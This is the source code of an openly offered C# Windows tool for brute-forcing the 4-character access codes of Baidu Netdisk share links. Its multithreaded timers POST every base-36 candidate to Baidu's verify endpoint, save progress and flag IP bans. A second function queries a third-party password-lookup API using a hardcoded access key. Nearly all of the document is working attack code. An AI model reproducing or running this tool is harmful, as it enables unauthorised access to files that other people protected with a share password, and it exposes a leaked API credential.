# Visual Studio 14
VisualStudioVersion = 14.0.23107.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: TestPassword V1.8.0.5/TestPassword/Hash.cs
================================================
using System;
namespace zgcwkj
{
public static class Hash
{
//哈希类 36进制
//有效哈希[10000000,11679615]
#region 只支持4位 By MXWXZ
public static string HashTo4Str(int hash)
{
string ret = "";
hash -= 10000000;
while (hash > 0)
{
ret += Hash2Char(hash % 36);
hash /= 36;
}
if (ret.Length == 3) ret += "0";//前导零
if (ret.Length == 2) ret += "00";
if (ret.Length == 1) ret += "000";
if (ret.Length == 0) ret += "0000";
return reverse(ret);
}
public static int StrTo4Hash(string str)
{
int ret = 0;
ret += Char2Hash(str[0]) * 46656;
ret += Char2Hash(str[1]) * 1296;
ret += Char2Hash(str[2]) * 36;
ret += Char2Hash(str[3]);
ret += 10000000;//防止前导零
return ret;
}
#endregion 只支持4位 By MXWXZ
#region 只支持6位 By zgcwkj
public static string HashTo6Str(int hash)
{
string ret = "";
hash -= 100000;
while (hash > 0)
{
ret += Hash2Char(hash % 36);
hash /= 36;
}
if (ret.Length == 5) ret += "0";//前导零
if (ret.Length == 4) ret += "00";
if (ret.Length == 3) ret += "000";
if (ret.Length == 2) ret += "0000";
if (ret.Length == 1) ret += "00000";
if (ret.Length == 0) ret += "000000";
return reverse(ret);
}
public static int StrTo6Hash(string str)
{
int ret = 0;
ret += Char2Hash(str[0]) * 60466176;
ret += Char2Hash(str[1]) * 1679616;
ret += Char2Hash(str[2]) * 46656;
ret += Char2Hash(str[3]) * 1296;
ret += Char2Hash(str[4]) * 36;
ret += Char2Hash(str[5]);
ret += 100000;//防止前导零
return ret;
}
#endregion 只支持6位 By zgcwkj
private static int Char2Hash(char c)
{
if (c >= '0' && c <= '9') return c - '0';
else return c - 'a' + 10;
}
private static char Hash2Char(int hash)
{
if (hash >= 0 && hash <= 9) return (char)('0' + hash);
else return (char)('a' + hash - 10);
}
private static string reverse(string str)
{
char[] arr = str.ToCharArray();
Array.Reverse(arr);
return new string(arr);
}
}
}
================================================
FILE: TestPassword V1.8.0.5/TestPassword/HttpTest.cs
================================================
using System;
using System.IO;
using System.Net;
using System.Text;
namespace zgcwkj
{
///
/// Http测试类(百度网盘分享连接密码测试)
///
public class HttpTest
{
private string info = "";//唯一识别文件的值
///
/// 实例测试类
///
/// 访问的链接
public HttpTest(string url)
{
info = "surl=" + url.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
}
///
/// 访问网页
///
///
public string Get()
{
return HttpGet("https://pan.baidu.com/share/init?" + info);
}
///
/// 提交密码
///
/// 密码
///
public string Post(string pwd)
{
DateTime time = DateTime.Now;
DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));
string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();
string url = "https://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==";
string data = "pwd=" + pwd + "&vcode=&vcode_str=";
return HttpPost(url, data);
}
#region 网络请求
private CookieContainer cookie = new CookieContainer();
#region Get请求
///
/// 请求路径
///
/// 请求的路径
/// 返回请求的网页数据
private string HttpGet(string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
request.CookieContainer = cookie;
try
{
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception e)
{
return e.Message;
}
}
#endregion Get请求
#region Post请求
///
/// 提交数据
///
/// 提交的路径
/// 提交的数据
/// 返回结果
private string HttpPost(string Url, string Data)
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
request.Referer = "https://pan.baidu.com/share/init?" + info;
request.ContentLength = Encoding.UTF8.GetByteCount(Data);
request.CookieContainer = cookie;
request.Method = "POST";
Stream myRequestStream = request.GetRequestStream();
byte[] postBytes = Encoding.UTF8.GetBytes(Data);
myRequestStream.Write(postBytes, 0, postBytes.Length);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
response.Cookies = cookie.GetCookies(response.ResponseUri);
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception ex)
{
return ex.Message;
}
}
#endregion Post请求
#endregion 网络请求
}
}
================================================
FILE: TestPassword V1.8.0.5/TestPassword/HttpThread.cs
================================================
using System;
using System.IO;
using System.Timers;
namespace zgcwkj
{
public class HttpThread
{
private Main myMain;//主窗体
private int StartValue = 0;//基值
private int NumberValue = 0;//剩余次数
private Timer timer;//线程
private string ThreadID;//线程ID
///
/// http请求线程类
///
/// 主窗体
/// 线程名称
/// 开始值
/// 结束值
/// 线程速度
public HttpThread(Main main, string name, int start, int number, int interval)
{
myMain = main;
StartValue = start;
NumberValue = number;
ThreadID = StaticClass.file + "/" + name;
timer = new Timer(interval);
}
///
/// 启动线程
///
///
public HttpThread Start()
{
#region 载入历史参数
try
{
if (File.Exists(ThreadID + ".ini"))
{
string _start = File.ReadAllText(ThreadID + ".ini");
if (_start != "") StartValue = Convert.ToInt32(_start);
}
}
catch { }
#endregion 载入历史参数
timer.Elapsed += new ElapsedEventHandler(_Timer);
timer.Start();
return this;
}
private void _Timer(object sender, ElapsedEventArgs e)
{
Timer timer = sender as Timer;
if (NumberValue < StartValue || StaticClass.status)
{
#region 保存历史参数
try
{
File.Delete(ThreadID + ".ini");
File.AppendAllText(ThreadID + ".ini", StartValue.ToString());
}
catch { }
#endregion 保存历史参数
timer.Stop();
}
else
{
string password = Hash.HashTo4Str(StartValue);
HttpTest httptest = new HttpTest(StaticClass.url);
myMain.ModifyStr(httptest.Post(password), password);
StartValue = StartValue + 1;
}
}
}
}
================================================
FILE: TestPassword V1.8.0.5/TestPassword/Main.Designer.cs
================================================
namespace zgcwkj
{
partial class Main
{
///
/// 必需的设计器变量。
///
private System.ComponentModel.IContainer components = null;
///
/// 清理所有正在使用的资源。
///
/// 如果应释放托管资源,为 true;否则为 false。
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows 窗体设计器生成的代码
///
/// 设计器支持所需的方法 - 不要修改
/// 使用代码编辑器修改此方法的内容。
///
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));
this.txt_url = new System.Windows.Forms.Label();
this.text_url = new System.Windows.Forms.TextBox();
this.gb_1 = new System.Windows.Forms.GroupBox();
this.text_zxsd = new System.Windows.Forms.TextBox();
this.text_xczs = new System.Windows.Forms.TextBox();
this.text_jsd = new System.Windows.Forms.TextBox();
this.text_ksd = new System.Windows.Forms.TextBox();
this.txt_zxsd = new System.Windows.Forms.Label();
this.txt_xczs = new System.Windows.Forms.Label();
this.txt_jsd = new System.Windows.Forms.Label();
this.txt_ksd = new System.Windows.Forms.Label();
this.txt_ts = new System.Windows.Forms.Label();
this.btn_start = new System.Windows.Forms.Button();
this.fBD = new System.Windows.Forms.FolderBrowserDialog();
this.btn_status = new System.Windows.Forms.Button();
this.btn_net = new System.Windows.Forms.Button();
this.btn_apk = new System.Windows.Forms.Button();
this.btn_app = new System.Windows.Forms.Button();
this.btn_blog = new System.Windows.Forms.Button();
this.gb_1.SuspendLayout();
this.SuspendLayout();
//
// txt_url
//
this.txt_url.AutoSize = true;
this.txt_url.Location = new System.Drawing.Point(12, 15);
this.txt_url.Name = "txt_url";
this.txt_url.Size = new System.Drawing.Size(65, 12);
this.txt_url.TabIndex = 0;
this.txt_url.Text = "目标地址:";
//
// text_url
//
this.text_url.Location = new System.Drawing.Point(83, 11);
this.text_url.Name = "text_url";
this.text_url.Size = new System.Drawing.Size(389, 21);
this.text_url.TabIndex = 1;
//
// gb_1
//
this.gb_1.Controls.Add(this.text_zxsd);
this.gb_1.Controls.Add(this.text_xczs);
this.gb_1.Controls.Add(this.text_jsd);
this.gb_1.Controls.Add(this.text_ksd);
this.gb_1.Controls.Add(this.txt_zxsd);
this.gb_1.Controls.Add(this.txt_xczs);
this.gb_1.Controls.Add(this.txt_jsd);
this.gb_1.Controls.Add(this.txt_ksd);
this.gb_1.Location = new System.Drawing.Point(12, 38);
this.gb_1.Name = "gb_1";
this.gb_1.Size = new System.Drawing.Size(460, 73);
this.gb_1.TabIndex = 2;
this.gb_1.TabStop = false;
this.gb_1.Text = "相关配置";
//
// text_zxsd
//
this.text_zxsd.Location = new System.Drawing.Point(321, 17);
this.text_zxsd.MaxLength = 4;
this.text_zxsd.Name = "text_zxsd";
this.text_zxsd.Size = new System.Drawing.Size(131, 21);
this.text_zxsd.TabIndex = 5;
this.text_zxsd.Text = "200";
this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);
//
// text_xczs
//
this.text_xczs.Location = new System.Drawing.Point(93, 17);
this.text_xczs.MaxLength = 4;
this.text_xczs.Name = "text_xczs";
this.text_xczs.Size = new System.Drawing.Size(131, 21);
this.text_xczs.TabIndex = 4;
this.text_xczs.Text = "100";
this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);
//
// text_jsd
//
this.text_jsd.Location = new System.Drawing.Point(321, 43);
this.text_jsd.MaxLength = 4;
this.text_jsd.Name = "text_jsd";
this.text_jsd.Size = new System.Drawing.Size(131, 21);
this.text_jsd.TabIndex = 7;
this.text_jsd.Text = "zzzz";
//
// text_ksd
//
this.text_ksd.Location = new System.Drawing.Point(93, 43);
this.text_ksd.MaxLength = 4;
this.text_ksd.Name = "text_ksd";
this.text_ksd.Size = new System.Drawing.Size(131, 21);
this.text_ksd.TabIndex = 6;
this.text_ksd.Text = "0000";
//
// txt_zxsd
//
this.txt_zxsd.AutoSize = true;
this.txt_zxsd.Location = new System.Drawing.Point(232, 20);
this.txt_zxsd.Name = "txt_zxsd";
this.txt_zxsd.Size = new System.Drawing.Size(89, 12);
this.txt_zxsd.TabIndex = 1;
this.txt_zxsd.Text = "线程执行速度:";
//
// txt_xczs
//
this.txt_xczs.AutoSize = true;
this.txt_xczs.Location = new System.Drawing.Point(10, 20);
this.txt_xczs.Name = "txt_xczs";
this.txt_xczs.Size = new System.Drawing.Size(65, 12);
this.txt_xczs.TabIndex = 0;
this.txt_xczs.Text = "线程总数:";
//
// txt_jsd
//
this.txt_jsd.AutoSize = true;
this.txt_jsd.Location = new System.Drawing.Point(232, 46);
this.txt_jsd.Name = "txt_jsd";
this.txt_jsd.Size = new System.Drawing.Size(77, 12);
this.txt_jsd.TabIndex = 3;
this.txt_jsd.Text = "密码结束点:";
//
// txt_ksd
//
this.txt_ksd.AutoSize = true;
this.txt_ksd.Location = new System.Drawing.Point(10, 46);
this.txt_ksd.Name = "txt_ksd";
this.txt_ksd.Size = new System.Drawing.Size(77, 12);
this.txt_ksd.TabIndex = 2;
this.txt_ksd.Text = "密码开始点:";
//
// txt_ts
//
this.txt_ts.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.txt_ts.ForeColor = System.Drawing.Color.Red;
this.txt_ts.Location = new System.Drawing.Point(12, 163);
this.txt_ts.Name = "txt_ts";
this.txt_ts.Size = new System.Drawing.Size(379, 69);
this.txt_ts.TabIndex = 8;
this.txt_ts.Text = "程序:百度网盘分享文件密码分析器 V 1.8.0.5\r\n\r\n作者:zgcwkj 20180525 更新 (请您著明本程序的出处,谢谢)\r\n\r\n说明:本程序完全免费" +
",来自 52pojie 的 MXWXZ 提供数据提交方案\r\n\r\n开源地址:https://github.com/zgcwkj/TestBaiduPassword" +
"";
this.txt_ts.Click += new System.EventHandler(this.txt_ts_Click);
//
// btn_start
//
this.btn_start.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_start.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));
this.btn_start.Location = new System.Drawing.Point(12, 114);
this.btn_start.Name = "btn_start";
this.btn_start.Size = new System.Drawing.Size(234, 44);
this.btn_start.TabIndex = 3;
this.btn_start.Text = "打开/生成 解决方案";
this.btn_start.UseVisualStyleBackColor = true;
this.btn_start.Click += new System.EventHandler(this.btn_start_Click);
//
// btn_status
//
this.btn_status.Enabled = false;
this.btn_status.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_status.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));
this.btn_status.Location = new System.Drawing.Point(252, 114);
this.btn_status.Name = "btn_status";
this.btn_status.Size = new System.Drawing.Size(94, 44);
this.btn_status.TabIndex = 4;
this.btn_status.Text = "启动";
this.btn_status.UseVisualStyleBackColor = true;
this.btn_status.Click += new System.EventHandler(this.btn_status_Click);
//
// btn_net
//
this.btn_net.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_net.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(0)))));
this.btn_net.Location = new System.Drawing.Point(364, 114);
this.btn_net.Name = "btn_net";
this.btn_net.Size = new System.Drawing.Size(108, 44);
this.btn_net.TabIndex = 5;
this.btn_net.Text = "联网查密";
this.btn_net.UseVisualStyleBackColor = true;
this.btn_net.Click += new System.EventHandler(this.btn_net_Click);
//
// btn_apk
//
this.btn_apk.Font = new System.Drawing.Font("宋体", 12F, System.Drawing.FontStyle.Bold);
this.btn_apk.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(192)))), ((int)(((byte)(0)))));
this.btn_apk.Location = new System.Drawing.Point(397, 161);
this.btn_apk.Name = "btn_apk";
this.btn_apk.Size = new System.Drawing.Size(75, 36);
this.btn_apk.TabIndex = 6;
this.btn_apk.Text = "安卓版";
this.btn_apk.UseVisualStyleBackColor = true;
this.btn_apk.Click += new System.EventHandler(this.btn_apk_Click);
//
// btn_app
//
this.btn_app.Font = new System.Drawing.Font("宋体", 12F, System.Drawing.FontStyle.Bold);
this.btn_app.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(192)))), ((int)(((byte)(0)))));
this.btn_app.Location = new System.Drawing.Point(397, 198);
this.btn_app.Name = "btn_app";
this.btn_app.Size = new System.Drawing.Size(75, 36);
this.btn_app.TabIndex = 7;
this.btn_app.Text = "苹果版";
this.btn_app.UseVisualStyleBackColor = true;
this.btn_app.Click += new System.EventHandler(this.btn_app_Click);
//
// btn_blog
//
this.btn_blog.FlatAppearance.BorderSize = 0;
this.btn_blog.Font = new System.Drawing.Font("宋体", 8F);
this.btn_blog.Location = new System.Drawing.Point(397, 240);
this.btn_blog.Margin = new System.Windows.Forms.Padding(0);
this.btn_blog.Name = "btn_blog";
this.btn_blog.Size = new System.Drawing.Size(75, 19);
this.btn_blog.TabIndex = 9;
this.btn_blog.Text = "关注我";
this.btn_blog.UseVisualStyleBackColor = true;
this.btn_blog.Click += new System.EventHandler(this.btn_blog_Click);
//
// Main
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(484, 241);
this.Controls.Add(this.btn_blog);
this.Controls.Add(this.btn_app);
this.Controls.Add(this.btn_apk);
this.Controls.Add(this.btn_net);
this.Controls.Add(this.btn_status);
this.Controls.Add(this.txt_ts);
this.Controls.Add(this.gb_1);
this.Controls.Add(this.text_url);
this.Controls.Add(this.txt_url);
this.Controls.Add(this.btn_start);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(500, 300);
this.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(500, 280);
this.Name = "Main";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "百度网盘分享文件密码分析器";
this.gb_1.ResumeLayout(false);
this.gb_1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label txt_url;
private System.Windows.Forms.TextBox text_url;
private System.Windows.Forms.GroupBox gb_1;
private System.Windows.Forms.Label txt_ksd;
private System.Windows.Forms.Label txt_jsd;
private System.Windows.Forms.TextBox text_jsd;
private System.Windows.Forms.TextBox text_ksd;
private System.Windows.Forms.TextBox text_zxsd;
private System.Windows.Forms.TextBox text_xczs;
private System.Windows.Forms.Label txt_zxsd;
private System.Windows.Forms.Label txt_xczs;
private System.Windows.Forms.Label txt_ts;
private System.Windows.Forms.Button btn_start;
private System.Windows.Forms.FolderBrowserDialog fBD;
private System.Windows.Forms.Button btn_status;
private System.Windows.Forms.Button btn_net;
private System.Windows.Forms.Button btn_apk;
private System.Windows.Forms.Button btn_app;
private System.Windows.Forms.Button btn_blog;
}
}
================================================
FILE: TestPassword V1.8.0.5/TestPassword/Main.cs
================================================
using System;
using System.IO;
using System.Text.RegularExpressions;
using System.Windows.Forms;
namespace zgcwkj
{
public partial class Main : Form
{
public Main()
{
InitializeComponent();
}
///
/// 解决方案
///
private void btn_start_Click(object sender, EventArgs e)
{
if (fBD.ShowDialog() == DialogResult.OK)
{
#region 防止选择非空文件夹
//赋值给静态变量
StaticClass.file = fBD.SelectedPath;
//获取路径下所有文件
string[] files = Directory.GetFiles(StaticClass.file);
//拒绝选择有文件的文件夹
if (files.Length > 0) { MessageBox.Show("请务必选择空的文件夹"); return; }
#endregion 防止选择非空文件夹
#region 防止空文本也执行
if (text_url.Text.Trim() == "" || !text_url.Text.Contains("pan.baidu")) { MessageBox.Show("请输入百度云盘链接"); return; }
if (text_xczs.Text == "") { MessageBox.Show("线程总数错误"); return; }
if (text_zxsd.Text == "") { MessageBox.Show("线程执行速度错误"); return; }
if (text_ksd.Text.Length != 4) { MessageBox.Show("密码开始点错误"); return; }
if (text_jsd.Text.Length != 4) { MessageBox.Show("密码结束点错误"); return; }
#endregion 防止空文本也执行
#region 生成配置文件
string Configuration;
try
{
Configuration = File.ReadAllText(StaticClass.file + "/Configuration.ini");
string[] str = Configuration.Split('∆');
text_url.Text = str[0];
text_xczs.Text = str[1];
text_zxsd.Text = str[2];
}
catch
{
Configuration = text_url.Text + "∆" + text_xczs.Text + "∆" + text_zxsd.Text;
File.Delete(StaticClass.file + "/Configuration.ini");
File.AppendAllText(StaticClass.file + "/Configuration.ini", Configuration);
}
StaticClass.url = text_url.Text;
StaticClass.status = false;
#endregion 生成配置文件
btn_status.Enabled = true;
}
}
///
/// 启动或停止
///
private void btn_status_Click(object sender, EventArgs e)
{
if (btn_status.Text == "停止")
{
btn_status.Text = "启动";
btn_status.Enabled = false;
StaticClass.status = true;
}
else
{
#region 基本的线程
int xczs = Convert.ToInt32(text_xczs.Text);//线程总数
int zxsd = Convert.ToInt32(text_zxsd.Text);//线程速度
int start = Hash.StrTo4Hash(text_ksd.Text);//起始值
int end = Hash.StrTo4Hash(text_jsd.Text);//结束值
int total = end - start + 1;//尝试的总数
int section = total / xczs;//线程的次数
#endregion 基本的线程
#region 预防(防止)线程的总数大于尝试的总数
if (xczs > total)
{
MessageBox.Show("小伙子又想让程序出BUG吗?");
MessageBox.Show("检测到线程的总数大于尝试的总数");
return;
}
#endregion 预防(防止)线程的总数大于尝试的总数
#region 标识程序已经启动
btn_status.Text = "停止";
#endregion 标识程序已经启动
#region 创建线程
for (int i = 1; i <= xczs; i++)
{
int _start = start + section * (i - 1);//一条线程的开始值
int _end = start + section * i;//一条线程的结束值
new HttpThread(this, i.ToString(), _start, _end, zxsd).Start();
}
#endregion 创建线程
}
}
///
/// 联网查密(用到互联网搜索功能)
///
private void btn_net_Click(object sender, EventArgs e)
{
if (text_url.Text.Trim() == "" || !text_url.Text.Contains("pan.baidu")) { MessageBox.Show("请输入百度云盘链接"); return; }
MessageBox.Show("本服务由 云盘万能钥匙(www.ypsuperkey.com)提供,本人仅是使用提供的接口");
string info = text_url.Text.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
string url = "https://www.ypsuperkey.com/api/items/BDY-" + info + "?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg";
string data = StaticClass.HttpGet(url);//请求并获得返回数据
data = "密码为" + Regex.Match(data, "\"access_code\":\".+?\"").Value.ToString().Replace("\"", "").Replace("access_code:", "");
if (data == "密码为") data = "还是老老实实暴密码吧";
MessageBox.Show(data, "提示");
}
#region 委托进行显示数据
private delegate void Modifystr(string str1, string str2);
public void ModifyStr(string str1, string str2)
{
if (InvokeRequired)
{
Modifystr stcb = new Modifystr(ModifyStr);
Invoke(stcb, new object[] { str1, str2 });
}
else
{
txt_ts.Text = str1 + "》正在尝试:" + str2;//显示点啥
File.AppendAllText(StaticClass.file + "/logs.ini", txt_ts.Text + "\r\n");//输出日志
if (str1.Contains("\"errno\":0"))//密码正常
{
StaticClass.status = true;
MessageBox.Show("密码是:" + str2);
}
else if (str1.Contains("\"errno\":-9"))//密码错误
{
}
else if (str1.Contains("\"errno\":-62"))//要输入验证码
{
}
else if (str1.Contains("404"))//拒绝访问
{
StaticClass.status = true;
MessageBox.Show("你的IP被拒绝访问,请稍后重试");
}
else { }//未知错误
}
}
#endregion 委托进行显示数据
#region 移动版本
///
/// 安卓APK
///
private void btn_apk_Click(object sender, EventArgs e)
{
try { System.Diagnostics.Process.Start("https://github.com/zgcwkj/TestBaiduPassword/tree/master/Application"); } catch { }
}
///
/// 苹果APP
///
private void btn_app_Click(object sender, EventArgs e)
{
MessageBox.Show("作者无能为力,我也很无耐啊");
}
#endregion 移动版本
#region 一些跳转
///
/// 跳转到博客页
///
private void btn_blog_Click(object sender, EventArgs e)
{
try { System.Diagnostics.Process.Start("http://blog.zgcwkj.top"); } catch { }
}
///
/// 跳转到开源页
///
private void txt_ts_Click(object sender, EventArgs e)
{
try { System.Diagnostics.Process.Start("https://github.com/zgcwkj/TestBaiduPassword"); } catch { }
}
#endregion 一些跳转
#region 限制键盘输入
///
/// 限制输入
///
private void _KeyPress(object sender, KeyPressEventArgs e)
{
if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;
}
#endregion 限制键盘输入
}
}
================================================
FILE: TestPassword V1.8.0.5/TestPassword/Main.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
17, 17
33
AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw
SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp
bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i
YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg
MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v
d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv
biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh
cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu
MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No
b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu
MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv
c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i
ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t
L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw
MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3
LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE
YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w
Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog
ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w
OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ
RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu
Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl
YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg
PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw
MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y
eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw
ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0
OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw
OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg
ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg
ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3
IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg
ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg
ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz
dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw
